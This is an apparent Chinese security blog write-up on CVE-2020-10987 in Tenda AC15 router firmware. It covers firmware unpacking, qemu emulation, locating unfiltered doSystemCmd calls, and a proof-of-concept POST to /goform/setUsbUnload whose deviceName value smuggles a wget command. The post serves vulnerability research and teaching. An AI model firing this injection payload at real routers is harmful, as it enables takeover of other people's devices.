Tenda AC15 CVE-2020-10987漏洞分析

固件安全
2022-03-26 21:24
103829

Tenda AC15 CVE-2020-10987漏洞分析

[TOC]

1、解包

binwalk -Me AC15.bin

2、固件分析

2.1、流程分析

/etc_ro/init.d/rcS开始,这个一般为自启动项。

webroot_ro很可能存在web代码。查看webroot_ro,发现goform文件夹,推测该webserver为goahead轻量服务器。

2.2、firmwalker

./firmwalker.sh /home/iot/Desktop/exp/0325/squashfs-root ./ac15.txt

2.3、emba

2.3.1、报错

关于redis无法连接的问题

现在apt install的redis-server会有一个默认密码,查看配置文件。

requirepass注释掉即可。

2.3.2、emba.sh

sudo ./emba.sh -l /home/kali/Desktop/0325/log -f /home/kali/Desktop/0325/squashfs-root

需要跑很久。

2.4、其他

也可以使用grep -r "system" ./squashfs-root 命令直接搜索特定关键词systemwrite等进行寻找对特定函数的调用点,进行跟进分析。

3、漏洞分析

3.1、system

3.1.1、分析

使用grep -r "system" ./squashfs-root 命令搜索特定关键词system。发现httpd中,存在对该字符串的调用,使用IDA打开httpd,搜索system

在结果中发现了大量名为doSystemCmd的函数,根据名字不难看出这是一个执行系统命令的函数。查询该函数的调用关系。

一共182处调用,根据2.1的分析,该httpd使用的是开源的goahead嵌入式服务器,查看其源代码、查找资料。发现其接口的形式为gofrom/AAABBBXXXX对应于server中的处理函数的形式为function formAAABBBXXXX(),因此用户直接可控的其实是formXXX一类的函数,分析范围进一步缩小,仅剩77个函数。

一个个跟进查看,排除没有可控变量的函数,如图:

最终寻找到如下函数:

TendaTelnet
doSystemCmd("telnetd -b %s &", (const char *)v3);

fromSysStatusHandle
doSystemCmd("echo \"0 0\" > /etc/conntime%d", v2);

form_fast_setting_internet_set
doSystemCmd("echo \"0 0\" > /etc/conntime%d", v13);

formWifiBasicSet
doSystemCmd("cfm post time_check %d?string_info=%d", 3, v15);

formSetSambaConf
doSystemCmd("cfm post netctrl %d?op=%d,string_info=%s", 51, 3, v9);

formsetUsbUnload
doSystemCmd("cfm post netctrl %d?op=%d,string_info=%s", 51, 3, v1);

formAddMacfilterRule
doSystemCmd("iptables -t filter -D INPUT -i %s -p icmp -m icmp --icmp-type 8 -j DROP", (const char *)v7);

这些函数均有可控变量,与webroot_ro文件夹下的前端代码进行比对。

可以直接由前端穿参的仅有formWifiBasicSetformsetUsbUnload两个函数。

var pageModel = R.pageModel({
	getUrl: "goform/WifiBasicGet", //获取数据接口
	setUrl: "goform/WifiBasicSet", //提交数据接口
	translateData: function (data) { //数据转换
		var newData = {};
		newData.wrlBasic = data;
		return newData;
	},
	afterSubmit: function (str) { //提交数据回调
		callback(str);
	}
});


function unLinkUsb() {
	var devName = $(this).data("target");
	$.GetSetData.setData("goform/setUsbUnload", "deviceName=" + encodeURIComponent(devName), unLinkCallback);
}

查看反汇编代码。

formWifiBasicSet函数中,其doSystemCmd("cfm post time_check %d?string_info=%d", 3, v15);v15寄存器来自v15 = get_uptime();,是用户不可控函数,不能使用。

而在formsetUsbUnload函数中,doSystemCmd("cfm post netctrl %d?op=%d,string_info=%s", 51, 3, v1);v1寄存器存放了由函数sub_2BA8C处理之后的deviceName的值。

查看sub_2BA8C

继续查看sub_1FBF4

做了一些判断,但是没有做对内容的过滤,因此可能会存在命令执行漏洞。

3.1.2、qemu模拟

使用qemu进行模拟。

sudo chroot . ./qemu-arm-static --strace ./bin/httpd
a、no device报错问题

定位关键词Welcome to

查看sub_2E420,下断点。

开启调试

sudo chroot . ./qemu-arm-static --strace -g 8888 ./bin/httpd

发现httpd一直在该处不断循环,导致一直报错ioctl(5,35093,-68124,-68140,1045432,-67612) = -1 errno=19 (No such device)

,同样的问题也发生在下一处判断,猜测是在检索一些特定启动硬件,直接patch修改掉。

将两处MOV R3, R0全部改为MOV R3, #1

b、ip为255.255.255.255问题

再次启动,成功启动,但是web开启在255.255.255.255

搜索listen ip关键词。

v8 = inet_ntoa(*(struct in_addr *)&s.sa_data[2]);
v9 = ntohs(*(uint16_t *)s.sa_data);
printf("httpd listen ip = %s port = %d\n", v8, v9);

可见IP是来自于inet_ntoa函数,该函数用来进行将[网络地址转换]成“.”点隔的字符串格式。

因此该值由s.sa_data[2]传来。

根据该判断

if ( a1 )
    *(_DWORD *)&s.sa_data[2] = inet_addr(a1);
  else
    *(_DWORD *)&s.sa_data[2] = 0;

&s.sa_data[2]的值和a1有关,查看调用,跟进至sub_29818

sub_1B84Ca1来自于v8,来自于g_lan_ip,来自于全局变量local ip,因此我们设置一个lan ip即可。

设置虚拟网卡,分配ip

sudo tunctl -t br0 -u `whoami`
sudo ifconfig br0 192.168.0.1/24

模拟成功

c、page not found

访问页面,报错404。

根据2.1的分析,在初始化过程中,自启动脚本将webroot_ro的内容复制进了webroot中。

本地输入。

rm -rf webroot
sudo ln -s webroot_ro/ webroot

3.1.3、漏洞证明

以系统模式启动qemu

sudo tunctl -t tap2 -u `whoami`
sudo ifconfig tap2 10.10.10.2/24
sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2 console=ttyAMA0" -net nic -net tap,ifname=tap2,script=no,downscript=no -nographic

在虚拟机中配置网卡,并下载镜像

ip link add br0 type dummy
ifconfig br0 10.10.10.3/24
ifconfig eth0 10.10.10.1/24
wget http://10.10.10.2:8000/squashfs-root.tar.gz
tar -zxvf squashfs-root.tar.gz

挂载本地环境

mount --bind /proc proc
mount --bind /dev dev
mount --bind /sys sys

启动httpd

cd squashfs-root
chroot . sh
httpd

分析前端代码

查看unLinkUsb函数绑定的操作,绑定至前端usbWarp中的.btn-unlink操作。

全局搜索调用status_usb.js的文件,位于status_usb.html

web访问

在缺少真实设备的情况下很难找到调用api的具体操作,逆向分析比较耗时,因此搜索代码no usb

该图显示是由于有noUsbDevice的标签,前端修改,开启burp拦截。

劫持到setUsbUnload接口

burp改包

成功

3.1.4、POC

POST /goform/setUsbUnload HTTP/1.1
Host: 10.10.10.3
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux aarch64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 45
Origin: http://10.10.10.3
Connection: close
Referer: http://10.10.10.3/status_usb.html
Cookie: password=utbrmx

deviceName=1;%20wget%20http://10.10.10.2:9000
分享到

参与评论

0 / 200

全部评论 4

zebra的头像
学习大佬思路
2023-03-19 12:14
Hacking_Hui的头像
学习了
2023-02-01 14:20
Okska的头像
解释的很详细,深度学习 !
2022-10-01 09:52
tracert的头像
前排学习
2022-09-17 01:33
投稿
签到
联系我们
关于我们